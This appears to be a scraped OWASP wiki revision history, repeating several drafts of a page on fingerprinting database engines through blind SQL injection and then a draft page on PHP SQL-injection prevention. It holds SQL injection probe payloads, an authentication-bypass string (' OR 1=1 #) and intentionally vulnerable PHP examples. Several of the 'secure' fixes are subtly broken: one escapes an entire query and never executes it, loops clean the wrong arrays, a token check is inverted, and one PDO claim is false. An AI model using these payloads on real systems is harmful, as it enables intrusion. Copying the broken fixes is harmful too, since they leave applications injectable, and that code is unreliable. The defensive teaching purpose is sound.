id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34453OWASP Backend Security Project DBMS Fingerprint2008-07-22T22:21:30Z<p>Dbellucci: /* Banner Grabbing */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Error Code Analysis<br />
* Engine Fingerprint<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL:<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=34451OWASP Backend Security Project DBMS Fingerprint2008-07-22T22:13:13Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Error Code Analysis<br />
* Engine Fingerprint<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''select version()''<br />
* Postgres: ''select version()''<br />
* Oracle: <br />
* MS SQL:<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
<br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
.....<br />
<br />
.....<br />
<br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=34358OWASP Backend Security Project PHP Security Programming2008-07-20T16:14:12Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
When talking about preventing SQL Injection in PHP we shall take in consideration whatever to use old Database connector of newset ''PHP Portable Data Objects'' interface. To this aim will take in consideration both of them since:<br />
* PHP PDO has been introduced in PHP 5.1<br />
* PHP PDO represents a Database abstract layer<br />
* Experienced developers may want to develop a custom Abstract Layer for theire demand<br />
<br />
Reader should be aware that at the moment PDO OCI used as a Oracle Driver is experimental.<br />
<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such issue can be avoided by :<br />
<br />
* Denying remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
: ''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv directive<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
Wich one to use is up to you. You should take into account whetever a user interventation is needed on WEB Server or not and if you want to guarantee application portability as well between different DB Backend Engine.<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
